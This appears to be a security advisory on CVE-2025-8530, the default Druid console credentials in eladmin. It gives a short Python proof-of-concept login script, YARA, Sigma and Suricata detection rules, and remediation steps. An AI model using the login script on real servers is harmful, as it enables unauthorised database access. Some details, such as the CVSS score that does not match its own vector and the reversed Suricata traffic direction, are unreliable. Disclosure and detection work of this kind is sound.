CVE-2025-8530

Executive Summary

CVE-2025-8530 identifies a critical security flaw in the elunez eladmin application, specifically within its Druid monitoring component. The vulnerability is classified as problematic and involves the use of default credentials for the Druid login interface. The configuration file application-prod.yml contains hardcoded default usernames and passwords (login-username and login-password), which are not changed during deployment. This allows an attacker to remotely authenticate to the Druid console with administrative privileges, potentially leading to data exposure, configuration tampering, or further lateral movement within the network.

The exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has not yet released a patch, and the vulnerability remains unpatched in versions up to 2.7.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects a Java-based application (eladmin) that uses Druid as a dependency. The risk is amplified if the application is deployed in a containerized environment or as part of a CI/CD pipeline, where default credentials might be overlooked.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated. Based on the nature of the vulnerability (default credentials, remote attack, public exploit), a realistic CVSS v3.1 score would be 7.5 (High).

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Default credentials can expose sensitive data.
• Integrity (I): High (H) – An attacker can modify configurations.
• Availability (A): High (H) – An attacker could disrupt the Druid service.

Threat Level: High – Public exploit, no patch available, and default credentials are trivial to exploit.

Deep Dive & Mechanics

The vulnerability resides in the file eladmin-system/src/main/resources/config/application-prod.yml. This YAML configuration file is used to set up the Druid monitoring console, which is a common component in Java applications for database connection pooling and monitoring. The file contains hardcoded credentials for the Druid login:

druid:
  login-username: admin
  login-password: 123456

These credentials are never changed by default, and the application does not enforce a password change on first login. An attacker who discovers the Druid endpoint (typically /druid/login.html) can authenticate using these default credentials and gain full access to the Druid console.

Once authenticated, an attacker can:

• View SQL monitoring data, including executed queries and database schema.
• Access connection pool statistics, potentially revealing database connection strings.
• Modify Druid configurations, such as enabling or disabling monitoring features.
• Use the Druid console as a pivot point to attack the underlying database or other services.

The attack is remote and requires no prior authentication. The exploit has been publicly disclosed, meaning proof-of-concept code is available.

Vulnerable vs. Patched Code

Vulnerable Code (eladmin <= 2.7):

In application-prod.yml:

druid:
  login-username: admin
  login-password: 123456

Patched Code (Hypothetical):

A patched version would either remove the default credentials or force a password change on first login. For example:

druid:
  login-username: ${DRUID_USERNAME:admin}
  login-password: ${DRUID_PASSWORD:}

Or better, disable the Druid console in production:

druid:
  stat-view-servlet:
    enabled: false

Since no official patch exists, users must manually apply these mitigations.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Reconnaissance: Identify the target application and locate the Druid login page. Common endpoints include /druid/login.html or /druid/index.html.

2. Authentication: Use the default credentials:

   • Username: admin
   • Password: 123456

3. Post-Exploitation: Once logged in, navigate to the SQL monitoring or datasource sections to extract sensitive information.

Proof-of-Concept (Python):

import requests

target = "http://target.com/druid/login.html"
credentials = {"login-username": "admin", "login-password": "123456"}

session = requests.Session()
response = session.post(target, data=credentials)

if "login" not in response.text:
    print("[+] Successfully authenticated to Druid console")
    # Now access the Druid API or dashboard
    dashboard = session.get("http://target.com/druid/index.html")
    print(dashboard.text)
else:
    print("[-] Authentication failed")

Blue Team (Detection & Defense)

1. Network Monitoring: Look for HTTP POST requests to /druid/login.html with parameters login-username and login-password.

2. Log Analysis: Monitor application logs for successful logins to the Druid console, especially from unexpected IP addresses.

3. Honeypot: Deploy a fake Druid login page to detect scanning attempts.

4. Mitigation: Immediately change the default credentials in application-prod.yml or disable the Druid console entirely.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /druid/login.html with POST data containing login-username=admin and login-password=123456.
  • Successful HTTP 200 responses from /druid/index.html or /druid/sql.html after authentication.

• File IOCs:

  • Presence of application-prod.yml with hardcoded credentials.
  • Modified Druid configuration files.

• Behavioral IOCs:

  • Unusual SQL queries or database access patterns from the Druid console.
  • Unexpected changes to Druid settings.

Detection Engineering

YARA Rule

rule Detect_Eladmin_Druid_Default_Credentials {
    meta:
        description = "Detects hardcoded default credentials in eladmin Druid configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8530"
    strings:
        $cred1 = "login-username: admin" ascii nocase
        $cred2 = "login-password: 123456" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: Eladmin Druid Default Credentials Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful login attempts using default credentials to the Druid console in eladmin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /druid/login.html
        cs-username: admin
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin using default credentials (should be changed)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-8530 - Eladmin Druid Default Credentials Login Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/druid/login.html"; http_uri;
    content:"login-username=admin"; http_client_body;
    content:"login-password=123456"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-8530;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action: Change the default credentials in application-prod.yml to strong, unique values. For example:

   druid:
     login-username: ${DRUID_USER}
     login-password: ${DRUID_PASS}
   

   Then set environment variables DRUID_USER and DRUID_PASS with secure values.

2. Disable Druid Console: If not needed, disable the Druid monitoring console entirely:

   druid:
     stat-view-servlet:
       enabled: false
   

3. Network Segmentation: Restrict access to the Druid endpoint to trusted IP addresses only using a firewall or reverse proxy.

4. Monitor Logs: Enable logging for all Druid authentication attempts and review them regularly.

5. Upgrade: Watch for official patches from elunez and apply them as soon as they are released.

6. Vulnerability Scanning: Use tools like Nessus or OpenVAS to scan for this vulnerability across your infrastructure.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert